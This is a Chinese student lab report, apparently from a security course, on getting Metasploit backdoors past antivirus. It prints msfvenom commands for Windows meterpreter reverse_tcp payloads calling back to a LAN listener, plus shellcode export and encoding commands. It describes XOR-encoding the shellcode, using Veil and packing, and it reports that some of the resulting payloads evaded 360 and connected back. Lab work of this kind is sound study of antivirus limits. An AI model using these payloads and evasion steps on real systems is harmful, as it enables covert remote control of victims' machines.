学习目标:
通过本部分内容的学习,认识到杀软局限性,提高在工作生活中对于恶意软件防范能力。
实践内容(3.5分)
1.1上次用MSF生成的后门检测
我们上次用的MSF就是一种后门生成工具,当时用msfvenom命令生成了一个后门程序:20151220_backdoor.exe。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.14 LPORT=1220 -f exe > 20151220_backdoor.exe
现在先用自家的360杀毒(正式版5.0.0.8081)来检测一下这个文件,结果如下,所以我们上次做的时候只能把杀软都关了:
接着我们将该文件上传到Virustotal上,为了方便将文件重命名为lys_backdoor.exe之后再上传,扫描结果如下:
恩,扫描出问题来的引擎还是挺多的,有50个。这也说明了一个问题,如果想要用我们的后门程序做到某些事的话,不进行合适的伪装和处理是不行的。裸奔的后门就像时刻张着血盆大口露出尖牙的吸血鬼,别人很容易就能认出来,吸血鬼要想吸到人血的同时不被众人打死,就必须在多数时候伪装得跟正常人一样,等是时机合适再露出利齿。
1.2 通过组合应用各种技术实现恶意代码免杀(1分)
我的kali上安装完veil之后,输入veil想要运行,结果就是下面的样子,查百度也没查出个有效的办法,很头疼。。身边其他人也差不多,没办法,暂时只能先跳过关于veil的内容
1.先挑个简单的来,压缩壳UPX,输入如下命令产生处理后的文件lys_backdoor_1.exe
放到virustotal上检测,原来还只有50个,现在变51个...处理之后的文件反而更像病毒文件了,应该光这样不行的,太粗鄙没什么用
2.改变特征码
多编译几次:
msfvenom -p windows/meterpreter/reverse_tcp -i 20 LHOST=192.168.0.14 LPORT=1220 -f exe > 20151220_backdoor_2.exe
表示也没什么用。
3.C语言调用Shellcode
在Kali里生成一个C语言格式的shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.14 LPORT=1220 -f c
之后将生成的shellcode拷贝到windows物理主机上,编写一个简单的调用C程序,编译生成可执行文件lys_1.exe,第一遍的时候不小心点到了调试,结果在这个过程中我的360安全卫士就抓住了lys_1.exe文件并清除了,所以之后只能先关掉360
生成了lys_1.exe,试了一下,可以回连,不过需要关掉360
虽说在VS调试的时候就已经被逮住了,但是还是放到virustotal是上看看情况,结果还是有所好转,可能换个垃圾一点的杀软就扫不出来了
不过现在还没有绕过我电脑上的360啊,怎么办呢,大家都说异或有用,那就试试异或吧,编了个C程序,把拷贝过来的shellcode跟0x20异或,不让放代码我就懒得截图了,最后是生成了lys_2.exe,即前一个的升级版。这次没有第一时间开360测试能否共存,先放virustotal上检测一下效果:
还行,只有5个检测出来了,接下来看看能不能绕过我电脑上的360(版本11.5.0.1002):
打开360,在虚拟机上开启metasploit监听,然后运行lys_2.exe:成功!!!
这次可能shellcode有更新更加牛逼了一点,我的过程现象和舍友不一样了,只异或就成功了
------------------------------------------------------------------------------------------------------------------------------------------
昨天老师给出veil安装问题的解决办法了,按照指导处理了一下注释了相应的几行之后可以用了,老师还是厉害,接下来用veil做一波处理
打开veil,用use evasion
命令进入Evil-Evasion
选择一个模板生成payload:use python/meterpreter/rev_tcp
//设置payload
然后设置IP、端口之类:set LHOST.....set LPORT.........
然而不能成功生成....
下面参考其他同学的做法,生成一个C语言的payload:
如期生成成功,接下来找到该文件lys_veil.exe,并将其拷贝到windows物理主机,
在此之前先上传到virustotal上检测一下 :
怎么感觉心里有点虚,炸出来30个....
不管了,在电脑上试试能不能绕过我们强大的360
果然不行
加个壳试试(生成lys_veil_2.exe)?将加壳后的文件扫描一下
21个,好了一点
拷贝到主机查看是否能免杀:
恩,成功实现了免杀
基础问题回答
(1)杀软是如何检测出恶意代码的?
杀软厂商常年收集各种各样的恶意代码汇总成一个恶意代码库 ,通过分析识别目标文件的某些特征,比如执行关键步骤的部分代码等,与它的库数据进行匹配,一旦出现匹配成功的就暂定其为恶意代码。
(2)免杀是做什么?
免杀是通过各种伪装和变形手段使己方的后门程序躲过杀毒软件的查杀,以便能顺利地在目标主机中运行,达到某些目的
(3)免杀的基本方法有哪些?
免杀的基本方法有加壳,改变特征码,修改程序入口点等
实验体会
4G运存的电脑真的是卡得一笔QAQ...不过这次实验最想吐槽的还是那个veil的安装,本来就安装了老长时间,结果安装了还不能用。又由于不懂问题出在哪,百度也查不到解决方法,于是自己瞎弄,浪费了许多时间,后来没办法了只能先跳过了。另外几种没有用到veil的方法感觉还是调用shellcode的那个好用,成功率比较高,如果单纯只是加个简单的壳或者编译什么的GG可能性很高。至于Veil,成功运行后我觉得还是很好用很方便的,不用前面调用shellcode那么繁琐,而且成功率也不低。通过这次实验我认识到了杀毒软件也是有局限性的,不要以为自己装了360这类的口碑杀软就可以为所欲为,网络世界还是很凶险的,披着羊皮的狼,伪装得跟人一样的吸血鬼多得是,道高一尺魔高一丈,杀软也是被动地跟着恶意代码技术的升级而升级,所以规范自己的上网行为,养成良好的习惯才是王道,太相信杀软可不好。